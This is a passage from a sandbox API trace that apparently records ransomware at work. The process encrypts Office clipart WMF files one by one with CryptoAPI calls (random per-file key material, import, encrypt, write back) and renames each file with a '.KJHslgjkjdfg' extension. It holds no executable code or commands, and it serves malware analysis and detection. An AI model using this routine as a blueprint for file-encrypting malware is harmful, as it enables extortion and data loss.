lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.078] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.078] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.079] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.079] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.079] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.079] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.079] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa488, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa488, lpOverlapped=0x0) returned 1 [0199.080] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa490, dwBufLen=0xa490 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa490) returned 1 [0199.081] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.081] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa490, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa490, lpOverlapped=0x0) returned 1 [0199.081] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.081] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.081] SetEndOfFile (hFile=0x130) returned 1 [0199.084] GetProcessHeap () returned 0x990000 [0199.084] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.084] GetProcessHeap () returned 0x990000 [0199.084] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.084] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf.kjhslgjkjdfg")) returned 1 [0199.086] CloseHandle (hObject=0x130) returned 1 [0199.086] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216570.WMF", cAlternateFileName="")) returned 1 [0199.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.087] GetProcessHeap () returned 0x990000 [0199.087] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.088] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.088] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.088] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.091] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.091] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.091] GetProcessHeap () returned 0x990000 [0199.091] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.091] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.091] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.091] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.091] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.091] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.091] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.091] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.092] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.092] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.092] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.092] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.092] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x60dc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x60dc, lpOverlapped=0x0) returned 1 [0199.093] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x60e0, dwBufLen=0x60e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x60e0) returned 1 [0199.094] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.094] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x60e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x60e0, lpOverlapped=0x0) returned 1 [0199.094] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.094] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x61b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.094] SetEndOfFile (hFile=0x130) returned 1 [0199.097] GetProcessHeap () returned 0x990000 [0199.097] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.097] GetProcessHeap () returned 0x990000 [0199.097] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.097] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf.kjhslgjkjdfg")) returned 1 [0199.099] CloseHandle (hObject=0x130) returned 1 [0199.099] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f46, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216600.WMF", cAlternateFileName="")) returned 1 [0199.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.100] GetProcessHeap () returned 0x990000 [0199.100] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.100] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.100] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.100] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0199.103] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.103] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.103] GetProcessHeap () returned 0x990000 [0199.103] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.103] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.103] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.103] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.103] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.104] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.104] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.104] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.104] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.104] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.104] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.104] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.104] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f46, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1f46, lpOverlapped=0x0) returned 1 [0199.105] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f50, dwBufLen=0x1f50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f50) returned 1 [0199.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.105] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1f50, lpOverlapped=0x0) returned 1 [0199.106] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.106] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.106] SetEndOfFile (hFile=0x130) returned 1 [0199.108] GetProcessHeap () returned 0x990000 [0199.108] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.108] GetProcessHeap () returned 0x990000 [0199.108] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.108] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf.kjhslgjkjdfg")) returned 1 [0199.110] CloseHandle (hObject=0x130) returned 1 [0199.110] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216612.WMF", cAlternateFileName="")) returned 1 [0199.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.115] GetProcessHeap () returned 0x990000 [0199.115] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.115] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.115] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.115] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0199.118] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.118] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.118] GetProcessHeap () returned 0x990000 [0199.118] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.118] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.118] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.118] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.118] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.118] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.118] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.119] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.119] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.119] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.119] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x24e2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x24e2, lpOverlapped=0x0) returned 1 [0199.120] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x24f0, dwBufLen=0x24f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x24f0) returned 1 [0199.120] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.120] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x24f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x24f0, lpOverlapped=0x0) returned 1 [0199.120] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.120] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x25c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.120] SetEndOfFile (hFile=0x130) returned 1 [0199.123] GetProcessHeap () returned 0x990000 [0199.123] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.123] GetProcessHeap () returned 0x990000 [0199.123] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.124] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf.kjhslgjkjdfg")) returned 1 [0199.125] CloseHandle (hObject=0x130) returned 1 [0199.125] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b3a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216874.WMF", cAlternateFileName="")) returned 1 [0199.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.127] GetProcessHeap () returned 0x990000 [0199.127] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.127] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.127] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.127] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0199.130] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.130] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.130] GetProcessHeap () returned 0x990000 [0199.130] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.130] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.130] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.130] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.130] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.130] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.130] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.131] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.131] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.131] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.131] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9b3a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9b3a, lpOverlapped=0x0) returned 1 [0199.133] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, 